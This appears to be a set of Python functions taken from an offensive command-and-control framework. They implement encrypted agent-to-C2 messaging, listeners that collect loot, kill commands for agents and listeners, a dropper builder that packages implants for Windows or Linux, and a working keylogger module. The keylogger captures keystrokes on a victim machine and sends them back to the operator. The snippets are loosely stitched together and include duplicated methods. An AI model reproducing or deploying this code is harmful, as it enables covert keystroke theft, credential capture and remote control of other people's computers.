def send(self, message, debug=False): """Send string to C2, automatically encrypts the data and manages conversion of the data to bytes & b64encoded objects before sending.""" if not message: bc.info("No mesasge to send. not sending.") return try: if debug: bc.info("Sending {} to {}.".format(message, str(self.name))) enc = self.encrypt(message) if enc: if debug: print("Message - {} IV : {}".format(message, enc[0])) bc.info("Message length : {}".format(len(b''.join(enc)))) message = b':' + b':'.join( [b64encode(i) for i in enc]) + b':' #colon IV colon message, colon if message: self.s.sendall(message) #Sendall instead else: bc.err("Encryption failed in repl function.") except BrokenPipeError as e: bc.err("Agent {} not responding. Terminating".format(self.name)) self.terminate() bc.warn("Terminate failed, falling back on emergency method.") raise Exception("Agent {} dead.".format(self.name)) except Exception as e: bc.err("Failed to send message: {}".format(e))
def run(self): """The main function called when the module executes""" #Override with what to do with this class when it runs exit_on_exec, LHOST, LPORT, max_conns, LOOT_DIR, name, RSA = [ i['value'] for i in self.options.values() ] l = lnr.BSTCPListener( exit_on_exec, LHOST, LPORT, max_conns, LOOT_DIR, name, RSA) #TODO - put listener resources in the right place! l.start() time.sleep(1.5) #Wait for thread to start if l.success == True: self.root_menu.listeners.append(l) bc.success("Module executed.") else: bc.err( "Run, but success flag not set. Check your listener status!") try: self.root_menu.listeners.append(l) except Exception as e: bc.warn("Could not register listener.") if self.get_option( 'exit_on_exec' ) and l.success: #Add success criteria - we want to stay in if fail return True else: #Also - increment listener ID so we can crank out many more!! self.set_option( 'name', "listener-{}".format(len(self.root_menu.listeners) + 1)) return False
def do_command(self): """parse command string and call any agent methods, before Sending any relvant commands down to the dropper itself""" #Manage Send if self.command == "": pass else: cmd = "".join(self.command.split(" ")[:1]) args = ' '.join(self.command.split(" ")[1:]) try: #bc.info("Calling {} : {}".format(cmd, args)) caller = getattr(self, cmd) #print("made a caller : {}".format(caller)) if args: #print("Calling {} with args {}".format(caller, ' '.join(args))) #caller(' '.join(args)) caller(args) else: #print("calling no args") caller() except ValueError as e: bc.warn("Value error, missing arguments? {} : {} \n{}".format( cmd, args, e)) except Exception as e: #print("Exception - default : {}".format(e)) resp = self.default()
def do_shell(self, line): """Execute a local shell command direct in the BS prompt. Can be called with an exclamation point (!).""" blacklist = ['cd', 'pushd', 'popd'] for cmd in blacklist: if line.startswith(cmd): bc.warn( "Command {} not run. Can't change local dir from BShell.". format(line)) print(os.popen(line).read())
def do_kill(self, line): """OVerridden kill method, acting only on listeners in this context""" if not line: input_str = bc.warn_format("[!]", " Do you want to kill all listeners? [Y/n]:") if input(input_str.format(line)).lower() not in ['y', 'yes', 'ye']: return for l in self.root_menu.listeners: if line in l.name: l.terminate() #It's not our listener else: bc.warn("Listener not found, not terminating.")
def do_kill(self, line): """Overridden version of the base kill function, this version only kills agents since we're in the agent menu now.""" if not line or line == "*": input_str = bc.warn_format( "[!]", " Do you want to kill all agents? [Y/n]:") if input(input_str.format(line)).lower() not in ['y', 'yes', 'ye']: return for l in self.root_menu.listeners: for a in l.agent_list: if line in a.name: l.terminate_agent(a) #It's not our listener else: bc.warn("Agent not found, not terminating.")
def terminate_agent(self, agent): """Kill an individual agent""" #print("in terminate agent") agt = [a for a in self.agent_list if a.name == agent.name] #print("Agents : {}".format(agt)) if len(agt) < 1: bc.warn("Agent : {} not found, can't terminate.".format(agent)) else: for a in agt: #a.send_q.put('terminate') a.kill_flag.set() #print("I set it!") agent.join(self.terminate_timeout) if agent.is_alive() == 1: bc.err("Could not terminate_agent: {}, continuing.".format(agent.name)) del(a)
def terminate(self): """Kill self and all agents""" #Free up the queue for agent in self.agent_list: #self.send_q.put('terminate') agent.kill_flag.set() for agent in self.agent_list: #agent.send_q.put('terminate') agent.join(self.terminate_timeout) if agent.is_alive() == 1: bc.err_print("[!] ", "- Could not elegantly kill Agent: {}, continuing.".format(agent.name)) bc.warn("Trying emergency kill method.") agent._emergency_raise() self.terminated = True time.sleep(0.3) self.kill_flag.set()
def set_option(self, opt, val): """Set option method overridden to allow special actions for the listener, pyinstaller and py2exe options""" if opt == 'listener': l = None for l in self.root_menu.listeners: if l.name == val: lnr = l if not l: return False self.options['LHOST']['value'] = lnr.LHOST self.options['LPORT']['value'] = lnr.LPORT if opt == 'py2exe': bc.warn("Py2exe is not currently supported, fixes coming soon.") self.options['pyinstaller']['value'] = 'False' if opt == 'pyinstaller': self.options['py2exe']['value'] = 'False' return super().set_option(opt,val)
def do_kill(self, line): """Kill agents and/or listeners by name""" if not line or line == "*": input_str = bc.warn_format( "[!]", " Do you want to kill all agents and listeners? [Y/n]:") if input(input_str.format(line)).lower() not in ['y', 'yes', 'ye']: return for l in self.root_menu.listeners: for a in l.agent_list: if line in l.name: bc.info("killing : {}".format(l.name)) #l.terminate() l.send_q.put('terminate') elif line in a.name: #l.terminate_agent(a) bc.info("killing : {}".format(a.name)) l.send_q.put('terminate_agent {}'.format(a.name)) #It's not our listener else: bc.warn("{} not found, not terminating.".format(line))
def main(agent, args=None): """Main function to start, stop and interact with key logging threads""" try: #get settings #bc.info("gitting the settings now: {}".format(args)) settings = parse_args(agent, args) if not settings: bc.warn("Error parsing arguments, settings : {}".format(settings)) return #Check Settings if settings['show'] and not settings['dump']: bc.warn("Cannot show keylog dump without --dump (-d) command") return if settings['dump'] and (settings['start'] or settings['kill']): bc.warn("Cannot dump alongside start/stop operations.") return #Get the agent to do the thing agent.send('keylog ' + str(args)) if settings['dump']: if get_keylog_dump(agent, settings['show']): agent.recv(print_flag=True, blocking=True) else: #Warning already printed bc.err("Failed dump, getting message from implant") agent.recv(print_flag=True, blocking=True) return else: agent.recv(print_flag=True) except Exception as e: bc.err("Exception in agent {} keylogger : {}".format(agent.name, e))
def do_method(self): """Interpret commands and call methods as required""" #Manage Send if self.command == "": #Better safe, it's a nightmare when this isn't here pass else: cmd = "".join(self.command.split(" ")[:1]) args = ' '.join(self.command.split(" ")[1:]) try: #bc.info("{} calling {}".format(self.name, cmd)) caller = getattr(self, cmd) #print("made a caller : {}".format(caller)) if args: #print("Calling {} with args {}".format(caller, args)) #caller(' '.join(args)) caller(args) else: #print("calling no args") caller() except ValueError as e: bc.warn("Exception, may be Missing arguments {} : {} \n{}".format(cmd, args, e)) except Exception as e: print("Exception calling Lnr method, is it real? : {}".format(e))
def main(dropper, args=None): """start, stop, kill, clear and dump key logger and associated data""" #Get settings settings = parse_args(dropper, args) if not settings: bc.err("Error parsing args : {}".format(settings)) return #Settings check if settings['start'] and settings['kill']: bc.warn("Cannot start AND kill at the same time.") dropper.send("ERROR - cannot start and kill simoultaneously") return #If not already created, make some dropper attributes try: print("DEBUG - Checking if required objects exist alread") dropper.keylogger dropper.log_stream logging.info("") print("DEBUG - it all exists!") except: print("DEBUG - they didn't exist...") dropper.keylogger = keyboard.Listener(on_press=on_press, on_release=on_release) dropper.log_stream = StringIO() logging.basicConfig(stream=dropper.log_stream, level=logging.INFO, format="%(message)s") #Start if settings['start'] and not dropper.keylogger.running: dropper.keylogger = keyboard.Listener(on_press=on_press, on_release=on_release) dropper.keylogger.start() dropper.send("Keylogger started in {}, {}".format( dropper.name, dropper.keylogger.running)) return elif settings['start']: dropper.send("ERROR - Cannot start, logger already running") return #Kill if settings['kill'] and not dropper.keylogger.running: dropper.send("ERROR - Cannot stop, logger not yet running : {}".format( dropper.keylogger.running)) return elif settings['kill']: print("DEBUG - Killing Keylogger") dropper.keylogger.stop() dropper.send("Keylogger stopped in {}".format(dropper.name)) return #Dump if settings['dump']: print("Logged data : {}".format(dropper.log_stream.getvalue())) success, message = dump_keylog(dropper) if success: bc.success("Successful keylog dump!") dropper.send("{} : {}".format(dropper.name, message)) else: bc.info("Keylog failed, sending error message.") dropper.send("DUMP failed : {}".format(message)) return #Clear if settings['clear']: print("DEBUG - clearing") if dropper.keylogger.running: dropper.keylogger.stop() print("Logged data pre-clear : {}".format( dropper.log_stream.getvalue())) dropper.log_stream.truncate( 0) #Creating a new stringIO object iddn't seem to work print("Logged data post-clear: {}".format( dropper.log_stream.getvalue())) dropper.keylogger = keyboard.Listener(on_press=on_press, on_release=on_release) dropper.keylogger.start() else: dropper.log_stream.truncate(0) dropper.send("Keylogger buffer cleared in {}".format(dropper.name)) return #Else it was nothing dropper.send("No valid keylogger commands provided.") return
def setup(self): """Configures and tests the module, anything that sanity checks user input can be put in here.""" #First configure LHOST and LPORT from listener try: self.set_option('LPORT', int(self.get_option('LPORT'))) except: bc.err("LPORT invalid - must be integer. Cannot autoconvert.") return False #LHOST try: self.set_option('LHOST', str(self.get_option('LHOST'))) except: bc.err("LHOST invalid - must be integer. Cannot autoconvert.") return False #Check out directory - should only need to be created once if not os.path.exists(self.get_option('out_dir')): try: os.makedirs(self.get_option('out_dir')) bc.info("Output directory created : {}".format(self.get_option('out_dir'))) except: bc.err("Could not read or create out_dir : {}. Is it a valid directory?.".format (self.get_option('out_dir'))) return False #Setup the source dirs - different for each dropper self.base_dir = self.get_option('out_dir') + self.get_option('filename') + '/' #Check if file already exists test_dir = self.base_dir[:-1] i=1 while True: if os.path.isdir(test_dir): new_test_dir = self.base_dir[:-1] + str(i) i+=1 bc.warn("{} already exists, trying to place in {}".format(test_dir, new_test_dir)) test_dir = new_test_dir else: break self.base_dir = test_dir + '/' self.src_dir = self.base_dir + self.src_dir self.bin_dir = self.base_dir + self.bin_dir #Now make the dirs for d in [self.base_dir, self.src_dir, self.bin_dir]: if not os.path.isdir(d): os.makedirs(d) bc.info("Created : {}".format(d)) #Check boolean settings if not self.check_bool('py2exe'): return False if not self.check_bool('py2exe'): return False if not self.check_bool('exit_on_exec'): return False if (self.get_option('py2exe') and self.get_option('pyinstaller'))\ or ((not self.get_option('py2exe')) and (not self.get_option('pyinstaller'))): bc.warn("You must pick either py2exe or pyinstaller\n py2exe : {} Pyinstaller: {}".format( self.get_option('py2exe'), self.get_option('pyinstaller'))) return False #Check platform if self.get_option('platform').lower() not in [ 'windows', 'linux']: bc.warn("Platform {} invalid. Pick 'linux' or 'windows'.".format( self.get_option('platform'))) return False return True